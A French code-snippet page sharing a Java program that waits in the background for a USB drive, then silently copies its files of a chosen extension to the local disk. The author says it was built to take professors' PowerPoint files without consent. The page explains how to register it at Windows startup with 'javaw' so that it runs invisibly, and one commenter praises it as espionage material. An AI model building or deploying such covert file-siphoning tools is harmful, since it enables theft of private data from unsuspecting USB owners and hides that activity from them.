Copier le contenu d'une clef usb

Soyez le premier à donner votre avis sur cette source.

Snippet vu 22 055 fois - Téléchargée 24 fois

Contenu du snippet

Ce code se lance en arrière plan et vérifie en permanence si une clef USB est connectée à l'ordinateur et, si c'est le cas il scanne tous les dossiers de la clef et copie les fichiers avec une certaine extention sur le disque dur dans un dossier spécifié au lancement et la copie ne commence qu'aprés un certain temps, ce qui évite de recopier toutes les clefs branchées. Les paramètres concernant les extentions et les dossiers sont à passer en argument au lancement.

Au départ j'ai créé ce code pour recopier les fichiers powerpoint que mes prof utilisaient à la fac quand ils ne voullaient pas nous filer de photocopies.

Source / Exemple :


import java.util.*;
import java.io.*;

public class USBDaemon implements Runnable {

	static Boolean USBConnect = false;
	static Boolean CopieOK = false;
	static int compteur = 0;
	static int tempo = 0;
	static String extention;
	static String dossier;
	static String dossierSauvegarde;
	static String Dossiers[];

	public USBDaemon (String arg[]){
		this.compteur = 0;
		this.tempo = Integer.parseInt(arg[3]);
		this.extention = arg[0];
		this.dossier = arg[1];
		this.dossierSauvegarde = arg[2];
		
		Thread t = new Thread(this);
		t.start();
		
	}
	
	public void attente() {
		//System.out.println("Recherche dans : "+this.dossier);
		File fichierDossier = new File(this.dossier);
        	if(fichierDossier.isDirectory()){
			this.USBConnect = true;
//			System.out.println("Clef USB connectée!");
		}
		else if (this.CopieOK) {
			this.USBConnect = false;
			this.CopieOK = false;
//			System.out.println("Pas de clef USB détectée.");
		}
		else {
//			System.out.println("Pas de clef USB détectée.");
		}
	}
	
	public void compteur() {
		//System.out.println("Vérification supplémentaire.");
		File fichierDossier = new File(this.dossier);
        	if(fichierDossier.isDirectory()){
			this.compteur++;
//			System.out.println("Toujours connecté");
		}
		else {
			this.USBConnect = false;
			this.compteur = 0;
//			System.out.println("Déconnecté.");
		}
	}
	
	public void recherche() {
		try {
			this.CopieOK = true;
			System.out.println("Epluchage des dossiers.");
			File fichierDossier;
			String contenu[];
			File file;
			String Temp[];
			String FichierACopier[];
			this.Dossiers = new String[1];
			this.Dossiers[0] = "";
			int i = 0;
			while (i < Dossiers.length) {
				//System.out.println(Dossiers[i]);
				fichierDossier = new File(this.dossier+File.separator+Dossiers[i]);
				contenu = fichierDossier.list();
				
				for(int j = 0; j < contenu.length; j++){
					
					file = new File(this.dossier+Dossiers[i]+File.separator+contenu[j]);
					if(file.isDirectory()){
						Temp = new String[Dossiers.length + 1];
						for(int k = 0; k < Dossiers.length; k++){
							Temp[k] = Dossiers[k];
						}
						Temp[Dossiers.length] = Dossiers[i]+File.separator+contenu[j];
						Dossiers = Temp;
					}
				}
				
				
				i++;
			}
			
			GregorianCalendar d = new GregorianCalendar();
	
			String time = d.get(Calendar.DAY_OF_MONTH)+"-"+d.get(Calendar.MONTH)+"-"+d.get(Calendar.HOUR)+"-"+d.get(Calendar.MINUTE)+"-"+d.get(Calendar.SECOND);
			FileInputStream read;
			FileOutputStream write;
			byte[] tabLu;
			int nbLu;
			File destination;
			
			i = 0;
			while (i < Dossiers.length) {
				fichierDossier = new File(this.dossier+Dossiers[i]);
				contenu = fichierDossier.list();
				
				for (int j = 0; j < contenu.length; j++) {
					if (contenu[j].indexOf(this.extention) != -1) {
				
						System.out.println("Sauvegarde du fichier : "+this.dossier+Dossiers[i]+File.separator+contenu[j]);
						System.out.println("Dans : "+this.dossierSauvegarde+File.separator+time+Dossiers[i]+File.separator+contenu[j]);
						destination = new File(this.dossierSauvegarde+File.separator+time+Dossiers[i]+File.separator);
						destination.mkdirs();
						
						destination = new File(this.dossierSauvegarde+File.separator+time+Dossiers[i]+File.separator+contenu[j]);
						file = new File(this.dossier+Dossiers[i]+File.separator+contenu[j]);
						read = new FileInputStream(file);
						write = new FileOutputStream(destination);
						tabLu = new byte[10240];
						
						while((nbLu = read.read(tabLu)) > 0){
							write.write(tabLu,0,nbLu);
						}
					}
				}
				
				
				i++;
			}
			this.CopieOK = true;
			System.out.println("Fini!");
		}
		catch ( java.io.FileNotFoundException e) { //102 - 103
		
		}
		catch ( java.io.IOException e) { // 107
		
		}
		
		
	}
	
	public void run() {
		while (true) {
			try {
				if (!this.USBConnect || this.CopieOK) {
					this.attente();
					Thread.sleep(60000);
				}
				else if (this.compteur < this.tempo) {
					this.compteur();
					Thread.sleep(60000);
				}
				else if (!this.CopieOK) {
					this.recherche();
					Thread.sleep(60000);
				}
	
			}
			catch (InterruptedException e) { }
		}
	}

	// java USBDaemon .ppt g: c:\sauvegarde 5
	// java USBDaemon .ppt /media/sda1 /dd/sauvegarde 5
	public static void main(String arg[]){
		USBDaemon start = new USBDaemon(arg);
		
	}
	

 
 
}

Conclusion :


On le lance de cette facon :
java USBDaemon .ppt g: c:\sauvegarde 5

Ce qui signifie qu'on va recopier les fichiers *.ppt, que la clef USB est montée sur le lecteur g:, que les fichiers seront sauvegardés dans le dossier c:\sauvegarde, et que la copie ne commencera qu'aprés 5 min sans débrancher la clef.

Sous windows je conseille de le lancer au démarrage en passant par la base de registre et en utilisant "javaw -jar " au lieu de "java", ça sera totalement invisible.
Sous linux c'est beaucoup plus simple comme toujours^^

A voir également

Ajouter un commentaire

Commentaires

sims42
Messages postés
2
Date d'inscription
mardi 30 octobre 2007
Statut
Membre
Dernière intervention
31 octobre 2007
-
Ce n’est pas de la fainéantise, je suis tout à fait incapable de modifier ce programme. il me serait juste très utile dans mon travail un fois modifié, mais si quelqu'un connait une adresse pour un programme similaire déjà crée je suis preneur... merci
sabir113
Messages postés
1
Date d'inscription
lundi 27 avril 2009
Statut
Membre
Dernière intervention
3 mars 2010
-
mafhamt walo
afro4
Messages postés
8
Date d'inscription
mercredi 4 novembre 2009
Statut
Membre
Dernière intervention
1 décembre 2013
-
Salut a tous je suis un débutant en JAVA. j' avoue que ce
code m'interresse beaucoup. A chaque fois que je l'execute j'obtiens
cette erreur :
******************************************************************************************
* Microsoft Windows [version 6.0.6000] *
* Copyright (c) 2006 Microsoft Corporation. Tous droits réservés. *
* *
* C:\Users\afro>cd Desktop\java *
* *
* C:\Users\afro\Desktop\java>javac USBDaemon.java *
* *
* C:\Users\afro\Desktop\java>java USBDaemon *.* g: c:\sauvegarde 5 *
* Exception in thread "main" java.lang.NumberFormatException: For input string: "g *
* :" *
* at java.lang.NumberFormatException.forInputString(NumberFormatException. *
* java:65) *
* at java.lang.Integer.parseInt(Integer.java:492) *
* at java.lang.Integer.parseInt(Integer.java:527) *
* at USBDaemon.(USBDaemon.java:17) *
* at USBDaemon.main(USBDaemon.java:166) *
******************************************************************************************

Il faut me comprendre je ne suis q'un simple débutant.
Merci d'avance pour votre aide.
rmzjava
Messages postés
1
Date d'inscription
vendredi 24 décembre 2010
Statut
Membre
Dernière intervention
24 décembre 2010
-
ne dit plus que tu es debutant
cs_mulambasylvain
Messages postés
6
Date d'inscription
mercredi 14 avril 2010
Statut
Membre
Dernière intervention
24 juillet 2011
-
Tu es exactement le développeur que je recherche; Super ton application, je crois que tu feras grande carrière dans l'espionnage. J aimerais interagir avec le port USB sous une application Java (si possible couper l'alimentation du port USB et pouvoir la retablir) mais je ne sais quel package,API, class utiliser. J ai avec moi l'API "JAva communication" et je ne sais pas comment faire. Ton aide m'est d une grande importance
Commenter la réponse de Twinuts

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.